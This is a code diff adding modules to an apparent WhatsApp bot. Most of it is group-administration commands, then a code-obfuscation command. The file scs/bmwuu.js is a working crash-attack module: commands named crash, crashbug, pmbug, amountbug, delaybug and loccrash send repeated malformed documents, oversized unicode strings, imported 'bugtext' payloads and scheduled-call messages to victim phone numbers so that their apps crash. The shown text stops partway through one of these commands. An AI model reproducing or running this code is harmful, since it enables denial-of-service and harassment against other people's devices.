+ if (enetatoui) {
+ await atbajouterOuMettreAJourJid(dest , "non");
+
+ repondre("The antibot has been successfully deactivated");
+
+ } else {
+ repondre("antibot is not activated for this group");
+ }
+ } else if (arg.join('').split("/")[0] === 'action') {
+
+ let action = (arg.join('').split("/")[1]).toLowerCase() ;
+
+ if ( action == 'remove' || action == 'warn' || action == 'delete' ) {
+
+ await mettreAJourAction(dest,action);
+
+ repondre(`The anti-bot action has been updated to ${arg.join('').split("/")[1]}`);
+
+ } else {
+ repondre("The only actions available are warn, remove, and delete") ;
+ }
+
+
+ } else {
+ repondre('antibot on to activate the anti-bot feature\nantibot off to deactivate the antibot feature\nantibot action/remove to directly remove the bot without notice\nantibot action/warn to give warnings\nantilink action/delete to remove the bot message without any sanctions\n\nPlease note that by default, the anti-bot feature is set to delete.') ;
+
+ }
+ } catch (error) {
+ repondre(error)
+ }
+
+ } else { repondre('You are not entitled to this order') ;
+
+ }
+
+});
+
+//----------------------------------------------------------------------------
+
+adams({ nomCom: "group", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
+
+ const { repondre, verifGroupe, verifAdmin, superUser, arg } = commandeOptions;
+
+ if (!verifGroupe) { repondre("order reserved for group only"); return };
+ if (superUser || verifAdmin) {
+
+ if (!arg[0]) { repondre('Instructions:\n\nType group open or close'); return; }
+ const option = arg.join(' ')
+ switch (option) {
+ case "open":
+ await zk.groupSettingUpdate(dest, 'not_announcement')
+ repondre('group open')
+ break;
+ case "close":
+ await zk.groupSettingUpdate(dest, 'announcement');
+ repondre('Group close successfully');
+ break;
+ default: repondre("Please don't invent an option")
+ }
+
+
+ } else {
+ repondre("order reserved for the administratorr");
+ return;
+ }
+
+
+});
+
+adams({ nomCom: "left", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
+
+ const { repondre, verifGroupe, superUser } = commandeOptions;
+ if (!verifGroupe) { repondre("order reserved for group only"); return };
+ if (!superUser) {
+ repondre("command reserved for the bot owner");
+ return;
+ }
+ await repondre('sayonnara') ;
+
+ zk.groupLeave(dest)
+});
+
+adams({ nomCom: "gname", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
+
+ const { arg, repondre, verifAdmin } = commandeOptions;
+
+ if (!verifAdmin) {
+ repondre("order reserved for administrators of the group");
+ return;
+ };
+ if (!arg[0]) {
+ repondre("Please enter the group name");
+ return;
+ };
+ const nom = arg.join(' ')
+ await zk.groupUpdateSubject(dest, nom);
+ repondre(`group name refresh: *${nom}*`)
+
+
+}) ;
+
+adams({ nomCom: "gdesc", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
+
+ const { arg, repondre, verifAdmin } = commandeOptions;
+
+ if (!verifAdmin) {
+ repondre("order reserved for administrators of the group");
+ return;
+ };
+ if (!arg[0]) {
+ repondre("Please enter the group description");
+ return;
+ };
+ const nom = arg.join(' ')
+ await zk.groupUpdateDescription(dest, nom);
+ repondre(`group description update: *${nom}*`)
+
+
+}) ;
+
+
+adams({ nomCom: "gpp", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
+
+ const { repondre, msgRepondu, verifAdmin } = commandeOptions;
+
+ if (!verifAdmin) {
+ repondre("order reserved for administrators of the group");
+ return;
+ };
+ if (msgRepondu.imageMessage) {
+ const pp = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
+
+ await zk.updateProfilePicture(dest, { url: pp })
+ .then( () => {
+ zk.sendMessage(dest,{text:"Group pfp changed"})
+ fs.unlinkSync(pp)
+ }).catch(() => zk.sendMessage(dest,{text:err})
+)
+
+ } else {
+ repondre('Please mention an image')
+ }
+
+});
+
+/////////////
+adams({nomCom:"hidetag",categorie:'Group',reaction:"🎤"},async(dest,zk,commandeOptions)=>{
+
+ const {repondre,msgRepondu,verifGroupe,arg ,verifAdmin , superUser}=commandeOptions;
+
+ if(!verifGroupe) { repondre('This command is only allowed in groups.')} ;
+ if (verifAdmin || superUser) {
+
+ let metadata = await zk.groupMetadata(dest) ;
+
+ //console.log(metadata.participants)
+ let tag = [] ;
+ for (const participant of metadata.participants ) {
+
+ tag.push(participant.id) ;
+ }
+ //console.log(tag)
+
+ if(msgRepondu) {
+ console.log(msgRepondu)
+ let msg ;
+
+ if (msgRepondu.imageMessage) {
+
+
+
+ let media = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
+ // console.log(msgRepondu) ;
+ msg = {
+
+ image : { url : media } ,
+ caption : msgRepondu.imageMessage.caption,
+ mentions : tag
+
+ }
+
+
+ } else if (msgRepondu.videoMessage) {
+
+ let media = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage) ;
+
+ msg = {
+
+ video : { url : media } ,
+ caption : msgRepondu.videoMessage.caption,
+ mentions : tag
+
+ }
+
+ } else if (msgRepondu.audioMessage) {
+
+ let media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage) ;
+
+ msg = {
+
+ audio : { url : media } ,
+ mimetype:'audio/mp4',
+ mentions : tag
+ }
+
+ } else if (msgRepondu.stickerMessage) {
+
+
+ let media = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage)
+
+ let stickerMess = new Sticker(media, {
+ pack: 'Bmw-mdtag',
+ type: StickerTypes.CROPPED,
+ categories: ["🤩", "🎉"],
+ id: "12345",
+ quality: 70,
+ background: "transparent",
+ });
+ const stickerBuffer2 = await stickerMess.toBuffer();
+
+ msg = { sticker: stickerBuffer2 , mentions : tag}
+
+
+ } else {
+ msg = {
+ text : msgRepondu.conversation,
+ mentions : tag
+ }
+ }
+
+ zk.sendMessage(dest,msg)
+
+ } else {
+
+ if(!arg || !arg[0]) { repondre('Enter the text to announce or mention the message to announce');
+ ; return} ;
+
+ zk.sendMessage(
+ dest,
+ {
+ text : arg.join(' ') ,
+ mentions : tag
+ }
+ )
+ }
+
+} else {
+ repondre('Command reserved for administrators.')
+}
+
+});
+
+
+adams({ nomCom: "apk", reaction: "✨", categorie: "Recherche" }, async (dest, zk, commandeOptions) => {
+ const { repondre, arg, ms } = commandeOptions;
+
+ try {
+ const appName = arg.join(' ');
+ if (!appName) {
+ return repondre("*Enter the name of the application to search for*");
+ }
+
+ const searchResults = await search(appName);
+
+ if (searchResults.length === 0) {
+ return repondre("*can't find application, please enter another name*");
+ }
+
+ const appData = await download(searchResults[0].id);
+ const fileSize = parseInt(appData.size);
+
+ if (fileSize > 300) {
+ return repondre("The file exceeds 300 MB, unable to download.");
+ }
+
+ const downloadLink = appData.dllink;
+ const captionText =
+ "『 *Bmw-Md Application* 』\n\n*Name :* " + appData.name +
+ "\n*Id :* " + appData["package"] +
+ "\n*Last Update :* " + appData.lastup +
+ "\n*Size :* " + appData.size +
+ "\n";
+
+ const apkFileName = (appData?.["name"] || "Downloader") + ".apk";
+ const filePath = apkFileName;
+
+ const response = await axios.get(downloadLink, { 'responseType': "stream" });
+ const fileWriter = fs.createWriteStream(filePath);
+ response.data.pipe(fileWriter);
+
+ await new Promise((resolve, reject) => {
+ fileWriter.on('finish', resolve);
+ fileWriter.on("error", reject);
+ });
+
+ const documentMessage = {
+ 'document': fs.readFileSync(filePath),
+ 'mimetype': 'application/vnd.android.package-archive',
+ 'fileName': apkFileName
+ };
+
+ // Utilisation d'une seule méthode sendMessage pour envoyer l'image et le document
+ zk.sendMessage(dest, { image: { url: appData.icon }, caption: captionText }, { quoted: ms });
+ zk.sendMessage(dest, documentMessage, { quoted: ms });
+
+ // Supprimer le fichier après envoi
+ fs.unlinkSync(filePath);
+ } catch (error) {
+ console.error('Erreur lors du traitement de la commande apk:', error);
+ repondre("*Error during apk command processing*");
+ }
+});
+
+
+
+
+
+/******************************* automute && autoummute ***************************/
+
+const cron = require(`../lib/cron`) ;
+
+
+adams({
+ nomCom : 'automute',
+ categorie : 'Group'
+ } , async (dest,zk,commandeOptions) => {
+
+ const {arg , repondre , verifAdmin } = commandeOptions ;
+
+ if (!verifAdmin) { repondre('You are not an administrator of the group') ; return}
+
+ group_cron = await cron.getCronById(dest) ;
+
+
+
+ if (!arg || arg.length == 0) {
+
+ let state ;
+ if (group_cron == null || group_cron.mute_at == null) {
+
+ state = "No time set for automatic mute"
+ } else {
+
+ state = `The group will be muted at ${(group_cron.mute_at).split(':')[0]} ${(group_cron.mute_at).split(':')[1]}`
+ }
+
+ let msg = `* *State:* ${state}
+ * *Instructions:* To activate automatic mute, add the minute and hour after the command separated by ':'
+ Example automute 9:30
+ * To delete the automatic mute, use the command *automute del*`
+
+
+ repondre(msg) ;
+ return ;
+ } else {
+
+ let texte = arg.join(' ')
+
+ if (texte.toLowerCase() === `del` ) {
+
+ if (group_cron == null) {
+
+ repondre('No cronometrage is active') ;
+ } else {
+
+ await cron.delCron(dest) ;
+
+ repondre("The automatic mute has been removed; restart to apply changes")
+ .then(() => {
+
+ exec("pm2 restart all");
+ }) ;
+ }
+ } else if (texte.includes(':')) {
+
+ //let { hr , min } = texte.split(':') ;
+
+ await cron.addCron(dest,"mute_at",texte) ;
+
+ repondre(`Setting up automatic mute for ${texte} ; restart to apply changes`)
+ .then(() => {
+
+ exec("pm2 restart all");
+ }) ;
+
+ } else {
+ repondre('Please enter a valid time with hour and minute separated by :') ;
+ }
+
+
+ }
+ });
+
+
+ adams({
+ nomCom : 'autounmute',
+ categorie : 'Group'
+} , async (dest,zk,commandeOptions) => {
+
+ const {arg , repondre , verifAdmin } = commandeOptions ;
+
+ if (!verifAdmin) { repondre('You are not an administrator of the group') ; return}
+
+ group_cron = await cron.getCronById(dest) ;
+
+
+
+ if (!arg || arg.length == 0) {
+
+ let state ;
+ if (group_cron == null || group_cron.unmute_at == null) {
+
+ state = "No time set for autounmute" ;
+
+ } else {
+
+ state = `The group will be un-muted at ${(group_cron.unmute_at).split(':')[0]}H ${(group_cron.unmute_at).split(':')[1]}`
+ }
+
+ let msg = `* *State:* ${state}
+ * *Instructions:* To activate autounmute, add the minute and hour after the command separated by ':'
+ Example autounmute 7:30
+ * To delete autounmute, use the command *autounmute del*`
+
+ repondre(msg) ;
+ return ;
+
+ } else {
+
+ let texte = arg.join(' ')
+
+ if (texte.toLowerCase() === `del` ) {
+
+ if (group_cron == null) {
+
+ repondre('No cronometrage has been activated') ;
+ } else {
+
+ await cron.delCron(dest) ;
+
+ repondre("The autounmute has been removed; restart to apply the changes")
+ .then(() => {
+
+ exec("pm2 restart all");
+ }) ;
+
+
+
+ }
+ } else if (texte.includes(':')) {
+
+
+
+ await cron.addCron(dest,"unmute_at",texte) ;
+
+ repondre(`Setting up autounmute for ${texte}; restart to apply the changes`)
+ .then(() => {
+
+ exec("pm2 restart all");
+ }) ;
+
+ } else {
+ repondre('Please enter a valid time with hour and minute separated by :') ;
+ }
+
+
+ }
+});
+
+
+
+adams({
+ nomCom : 'fkick',
+ categorie : 'Group'
+} , async (dest,zk,commandeOptions) => {
+
+ const {arg , repondre , verifAdmin , superUser , verifZokouAdmin } = commandeOptions ;
+
+ if (verifAdmin || superUser) {
+
+ if(!verifZokouAdmin){ repondre('You need administrative rights to perform this command') ; return ;}
+
+ if (!arg || arg.length == 0) { repondre('Please enter the country code whose members will be removed') ; return ;}
+
+ let metadata = await zk.groupMetadata(dest) ;
+
+ let participants = metadata.participants ;
+
+ for (let i = 0 ; i < participants.length ; i++) {
+
+ if (participants[i].id.startsWith(arg[0]) && participants[i].admin === null ) {
+
+ await zk.groupParticipantsUpdate(dest, [participants[i].id], "remove") ;
+ }
+ }
+
+ } else {
+ repondre('Sorry, you are not an administrator of the group')
+ }
+
+
+}) ;
+
+
+adams({
+ nomCom : 'nsfw',
+ categorie : 'Group'
+}, async (dest,zk,commandeOptions) => {
+
+ const {arg , repondre , verifAdmin } = commandeOptions ;
+
+ if(!verifAdmin) { repondre('Sorry, you cannot enable NSFW content without being an administrator of the group') ; return}
+
+ let hbd = require('../lib/hentai') ;
+
+ let isHentaiGroupe = await hbd.checkFromHentaiList(dest) ;
+
+ if (arg[0] == 'on') {
+
+ if(isHentaiGroupe) {repondre('NSFW content is already active for this group') ; return} ;
+
+ await hbd.addToHentaiList(dest) ;
+
+ repondre('NSFW content is now active for this group') ;
+
+ } else if (arg[0] == 'off') {
+
+ if(!isHentaiGroupe) {repondre('NSFW content is already disabled for this group') ; return} ;
+
+ await hbd.removeFromHentaiList(dest) ;
+
+ repondre('NSFW content is now disabled for this group') ;
+ } else {
+
+ repondre('You must enter "on" or "off"') ;
+ }
+} ) ;
diff --git a/scs/bmwui.js b/scs/bmwui.js
new file mode 100644
index 0000000..40ed86d
--- /dev/null
+++ b/scs/bmwui.js
@@ -0,0 +1,39 @@
+const JavaScriptObfuscator = require("javascript-obfuscator");
+const {
+ adams
+} = require("../Ibrahim/adams");
+adams({
+ 'nomCom': "obt",
+ 'categorie': 'General'
+}, async (_0x3cf1f0, _0x36cbf1, _0x90621a) => {
+ const {
+ ms: _0x4b944b,
+ arg: _0x34f2ba,
+ repondre: _0x19e646,
+ auteurMessage: _0x4ebaef,
+ nomAuteurMessage: _0x2dfa6f,
+ msgRepondu: _0x354080,
+ auteurMsgRepondu: _0x548b39
+ } = _0x90621a;
+ try {
+ let _0x32b5ce = _0x34f2ba.join(" ");
+ if (!_0x34f2ba[0x0]) {
+ _0x19e646("After the command, provide a valid JavaScript code for encryption");
+ return;
+ }
+ ;
+ const _0x3fa990 = JavaScriptObfuscator.obfuscate(_0x32b5ce, {
+ 'compact': true,
+ 'controlFlowFlattening': true,
+ 'controlFlowFlatteningThreshold': 0x1,
+ 'numbersToExpressions': true,
+ 'simplify': true,
+ 'stringArrayShuffle': true,
+ 'splitStrings': true,
+ 'stringArrayThreshold': 0x1
+ });
+ await _0x19e646(_0x3fa990.getObfuscatedCode());
+ } catch {
+ _0x19e646("Something is wrong, check if your code is logical and has the correct syntax");
+ }
+});
diff --git a/scs/bmwuu.js b/scs/bmwuu.js
new file mode 100644
index 0000000..2dc4d1d
--- /dev/null
+++ b/scs/bmwuu.js
@@ -0,0 +1,1037 @@
+
+const { adams } = require("../Ibrahim/adams");
+const { delay, loading, react } = require("../Ibrahim/utils");
+const moment = require("moment-timezone");
+const conf = require("../config.js");
+const fs = require("fs");
+const path = require("path");
+const {
+ generateWAMessageFromContent,
+ proto
+} = require("@whiskeysockets/baileys");
+
+// bug database
+const { bugtext1 } = require("../Ibrahim/bugs/bugtext1");
+const { bugtext2 } = require("../Ibrahim/bugs/bugtext2");
+const { bugtext3 } = require("../Ibrahim/bugs/bugtext3");
+const { bugtext4 } = require("../Ibrahim/bugs/bugtext4");
+const { bugtext5 } = require("../Ibrahim/bugs/bugtext5");
+const { bugtext6 } = require("../Ibrahim/bugs/bugtext6");
+const { bugpdf } = require("../Ibrahim/bugs/bugpdf.js");
+
+const category = "dev";
+const reaction = "🤯";
+
+const mess = {};
+mess.prem = "You are not authorised to use this command !!!";
+
+const phoneRegex = /^\d{1,3}[- ]?(\(\d{1,3}\) )?[\d- ]{7,10}$/;
+const whatsappRegex =
+ /https:\/\/chat\.whatsapp\.com\/(invite|join|)[A-Za-z0-9]+/;
+
+const timewisher = time => {
+ if (time < "23:59:00") {
+ return `Good Night 🌆`;
+ } else if (time < "19:00:00") {
+ return `Good Evening 🌆`;
+ } else if (time < "18:00:00") {
+ return `Good Evening 🌆`;
+ } else if (time < "15:00:00") {
+ return `Good Afternoon 🌅`;
+ } else if (time < "11:00:00") {
+ return `Good Morning 🌄`;
+ } else if (time < "05:00:00") {
+ return `Good Morning 🌄`;
+ }
+};
+
+
+async function relaybug(dest, zk, ms, repondre, amount, victims, bug) {
+ for (let i = 0; i < victims.length; i++) {
+ if (!phoneRegex.test(victims[i])) {
+ repondre(`${victims[i]} not a valid phone number`);
+ continue;
+ } else {
+ const victim = victims[i] + "@s.whatsapp.net";
+ for (let j = 0; j < amount; j++) {
+ var scheduledCallCreationMessage = generateWAMessageFromContent(
+ dest,
+ proto.Message.fromObject(bug),
+ { userJid: dest, quoted: ms }
+ );
+ try {
+ zk.relayMessage(
+ victim,
+ scheduledCallCreationMessage.message,
+ { messageId: scheduledCallCreationMessage.key.id }
+ );
+ } catch (e) {
+ repondre(
+ `An error occured while sending bugs to ${victims[i]}`
+ );
+ console.log(
+ `An error occured while sending bugs to ${victim}: ${e}`
+ );
+ break;
+ }
+ await delay(3000);
+ }
+ if (victims.length > 1)
+ repondre(`${amount} bugs send to ${victims[i]} Successfully.`);
+ await delay(5000);
+ }
+ }
+ repondre(`Successfully sent ${amount} bugs to ${victims.join(", ")}.`);
+}
+
+async function sendbug(dest, zk, ms, repondre, amount, victims, bug) {
+ for (let i = 0; i < victims.length; i++) {
+ if (!phoneRegex.test(victims[i])) {
+ repondre(`${victims[i]} not a valid phone number`);
+ continue;
+ } else {
+ const victim = victims[i] + "@s.whatsapp.net";
+ for (let j = 0; j < amount; j++) {
+ try {
+ zk.sendMessage(victim, bug);
+ } catch (e) {
+ repondre(
+ `An error occured while sending bugs to ${victims[i]}`
+ );
+ console.log(
+ `An error occured while sending bugs to ${victim}: ${e}`
+ );
+ break;
+ }
+ await delay(3000);
+ }
+ if (victims.length > 1)
+ repondre(`${amount} bugs send to ${victims[i]} Successfully.`);
+ await delay(5000);
+ }
+ }
+ repondre(`Successfully sent ${amount} bugs to ${victims.join(", ")}.`);
+}
+
+
+// --cmds--
+
+// bug menu
+adams(
+ {
+ nomCom: "bu",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre } = commandOptions;
+ const mono = "```";
+ const time = moment().tz(conf.TZ).format("HH:mm:ss");
+ const versions = ["v1", "v2"];
+ const version = versions[Math.floor(Math.random() * versions.length)];
+ const menuImage = fs.readFileSync(
+ path.resolve(
+ path.join(__dirname, "..", "file", "deleted-message.jpg")
+ )
+ );
+ const tumbUrl =
+ "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg";
+ let menu = `${mono}Hello ${ms.pushName}
+${timewisher(time)}
+
+
+
+┗❏${mono}`;
+ switch (version) {
+ case "v1":
+ {
+ zk.sendMessage(
+ dest,
+ {
+ image: menuImage,
+ caption: menu
+ },
+ { quoted: ms }
+ );
+ }
+ break;
+ case "v2":
+ {
+ zk.sendMessage(
+ dest,
+ {
+ image: menuImage,
+ caption: menu,
+ contextInfo: {
+ mentionedJid: [ms.key.remoteJid],
+ forwardingScore: 9999999,
+ isForwarded: true,
+ externalAdReply: {
+ showAdAttribution: true,
+ title: `${conf.BOT}`,
+ body: `Bot Created By ${conf.OWNER_NAME}`,
+ thumbnail: { url: tumbUrl },
+ thumbnailUrl: tumbUrl,
+ previewType: "PHOTO",
+ sourceUrl:
+ "https://whatsapp.com/channel/0029VaePv7T72WTq4R6Pxr0t",
+ mediaType: 1,
+ renderLargerAbhinail: true
+ }
+ }
+ },
+ { quoted: ms }
+ );
+ }
+ break;
+ }
+ }
+);
+
+//bug
+adams(
+ {
+ nomCom: "bug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+
+ // send loading message
+ await loading(dest, zk);
+
+ for (let i = 0; i < 25; i++) {
+ const doc = { url: "./config.js" };
+ await zk.sendMessage(dest, {
+ document: doc,
+ mimetype:
+ "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9",
+ title: "bx.pdf",
+ pageCount: 9999999999,
+ thumbnail: {
+ url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
+ },
+ thumbnailUrl:
+ "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg",
+ jpegThumbnail: {
+ url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
+ },
+ mediaKey: "ht55w7B6UoaG9doQuVQ811XNfWcoALqcdQfd61seKKk=",
+ fileName:
+ "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9\n\n" +
+ bugpdf
+ });
+ }
+ await zk.sendMessage(dest, { react: { text: "✅", key: ms.key } });
+ }
+);
+
+//crash
+adams(
+ {
+ nomCom: "crash",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser } = commandOptions;
+ const bug = bugtext6;
+ if (!superUser) return await repondre(mess.prem);
+ await loading(dest, zk);
+ try {
+ for (let i = 0; i < 10; i++) {
+ await repondre(bug);
+ }
+ } catch (e) {
+ await repondre(`an error occoured sending bugs`);
+ console.log(`an error occured sending bugs : ${e}`);
+ return;
+ }
+ }
+);
+
+//loccrash
+adams(
+ {
+ nomCom: "loccrash",
+ reaction: "\uD83D\uDD16",
+ categorie: category
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ await loading(dest, zk);
+
+ for (let i = 0; i < 20; i++) {
+ for (let j = 0; j < "3"; j++) {
+ zk.sendMessage(
+ dest,
+ {
+ location: {
+ degreesLatitude: -6.28282828,
+ degreesLongitude: -1.2828,
+ name: "BRUX0N3RD\n\n\n\n\n\n\n\n"
+ }
+ },
+ { quoted: ms }
+ );
+ }
+ }
+ await zk.sendMessage(dest, { react: { text: "✅", key: ms.key } });
+ }
+);
+
+//crashbug
+adams(
+ {
+ nomCom: "crashbug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}crashbug amount | numbers\n> Example ${prefixe}crashbug 30 |${
+ conf.NUMERO_OWNER
+ } or ${prefixe}crashbug ${conf.NUMERO_OWNER.split(",")[0]}`
+ );
+ await loading(dest, zk);
+ const text = arg.join("");
+ let amount = 30;
+ let victims = [];
+ const doc = { url: "./config.js" };
+ const bug = {
+ document: doc,
+ mimetype:
+ "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9",
+ title: "bx.pdf",
+ pageCount: 9999999999,
+ thumbnail: {
+ url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
+ },
+ thumbnailUrl:
+ "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg",
+ jpegThumbnail: {
+ url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
+ },
+ mediaKey: "ht55w7B6UoaG9doQuVQ811XNfWcoALqcdQfd61seKKk=",
+ fileName:
+ "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9\n\n" +
+ bugpdf
+ };
+ if (arg.length === 1) {
+ victims.push(arg[0]);
+ await repondre(`sending ${amount} bugs to ${victims[0]}`);
+ try {
+ await sendbug(dest, zk, ms, repondre, amount, victims, bug);
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ amount = parseInt(text.split("|")[0].trim());
+ if (isNaN(amount)) {
+ return await repondre(
+ `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ } else {
+ victims = text
+ .split("|")[1]
+ .split(",")
+ .map(x => x.trim())
+ .filter(x => x !== "");
+ if (victims.length > 0) {
+ await repondre(
+ `sending ${amount} bugs to ${victims.join(", ")}`
+ );
+ try {
+ await sendbug(
+ dest,
+ zk,
+ ms,
+ repondre,
+ amount,
+ victims,
+ bug
+ );
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ return await repondre("No victims specfied");
+ }
+ }
+ }
+ await react(dest, zk, ms, "✅");
+ }
+);
+
+// amountbug
+adams(
+ {
+ nomCom: "amountbug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}amountbug amount\n> Example ${prefixe}amountbug 5`
+ );
+
+ const amount = parseInt(arg[0]);
+ if (isNaN(amount) || amount > conf.BOOM_MESSAGE_LIMIT || amount < 1)
+ return await repondre(
+ `use a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ for (let i = 0; i < amount; i++) {
+ const bug = `${bugtext1}`;
+ var scheduledCallCreationMessage = generateWAMessageFromContent(
+ dest,
+ proto.Message.fromObject({
+ scheduledCallCreationMessage: {
+ callType: "2",
+ scheduledTimestampMs: `${moment(1000)
+ .tz("Asia/Kolkata")
+ .format("DD/MM/YYYY HH:mm:ss")}`,
+ title: bug
+ }
+ }),
+ { userJid: dest, quoted: ms }
+ );
+ try {
+ await zk.relayMessage(
+ victim,
+ scheduledCallCreationMessage.message,
+ { messageId: scheduledCallCreationMessage.key.id }
+ );
+ } catch (e) {
+ await repondre(`An error occured while sending bugs`);
+ console.log(`An error occured while sending bugs: ${e}`);
+ return;
+ }
+ await delay(3000);
+ }
+ await repondre(
+ `*Successfully sent as many bugs as ${amount} Please pause for 3 minutes*`
+ );
+ await react(dest, zk, ms, "✅");
+ }
+);
+
+//pmbug
+adams(
+ {
+ nomCom: "pmbug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}pmbug amount | numbers\n> Example ${prefixe}pmbug 30 |${
+ conf.NUMERO_OWNER
+ } or ${prefixe}pmbug ${conf.NUMERO_OWNER.split(",")[0]}`
+ );
+ await loading(dest, zk);
+ const text = arg.join("");
+ let amount = 30;
+ let victims = [];
+ const bug = {
+ scheduledCallCreationMessage: {
+ callType: "2",
+ scheduledTimestampMs: `${moment(1000)
+ .tz("Asia/Kolkata")
+ .format("DD/MM/YYYY HH:mm:ss")}`,
+ title: `${bugtext1}`
+ }
+ };
+ if (arg.length === 1) {
+ victims.push(arg[0]);
+ await repondre(`sending ${amount} bugs to ${victims[0]}`);
+ try {
+ await relaybug(dest, zk, ms, repondre, amount, victims, bug);
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ amount = parseInt(text.split("|")[0].trim());
+ if (
+ amount > conf.BOOM_MESSAGE_LIMIT ||
+ isNaN(amount) ||
+ amount < 1
+ ) {
+ return await repondre(
+ `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
+ );
+ } else {
+ victims = text
+ .split("|")[1]
+ .split(",")
+ .map(x => x.trim())
+ .filter(x => x !== "");
+ if (victims.length > 0) {
+ await repondre(
+ `sending ${amount} bugs to ${victims.join(", ")}`
+ );
+ try {
+ await relaybug(
+ dest,
+ zk,
+ ms,
+ repondre,
+ amount,
+ victims,
+ bug
+ );
+ } catch (e) {
+ await repondre("An error occured");
+ console.log(`An error occured: ${e}`);
+ await react(dest, zk, ms, "⚠️");
+ }
+ } else {
+ return await repondre("No victims specfied");
+ }
+ }
+ }
+ await react(dest, zk, ms, "✅");
+ }
+);
+
+//delaybug
+adams(
+ {
+ nomCom: "delaybug",
+ categorie: category,
+ reaction: reaction
+ },
+
+ async (dest, zk, commandOptions) => {
+ const { ms, arg, repondre, superUser, prefixe } = commandOptions;
+ if (!superUser) return await repondre(mess.prem);
+ if (!arg[0])
+ return await repondre(
+ `Use ${prefixe}delaybug amount | numbers\n> Example ${prefixe}delaybug 30 |${
+ conf.NUMERO_OWNER
+ } or ${prefixe}delaybug ${conf.NUMERO_OWNER.split(",")[0]}`
+ );
+ await loading(dest, zk);
+ const text = arg.join("");
+ let amount = 30;
+ let victims = [];
+ const bug = {
+ scheduledCallCreationMessage: {
+ callType: "2",
+ scheduledTimestampMs: `${moment(1000)
+ .tz("Asia/Kolkata")
+ .format("DD/MM/YYYY HH:mm:ss")}`,
+ title: bugtext2
+ }
+ };
+ if (arg.length === 1) {
+ victims.push(arg[0]);
+ await repondre(`sending ${amount} bugs to ${victims[0]}`);
+ try {
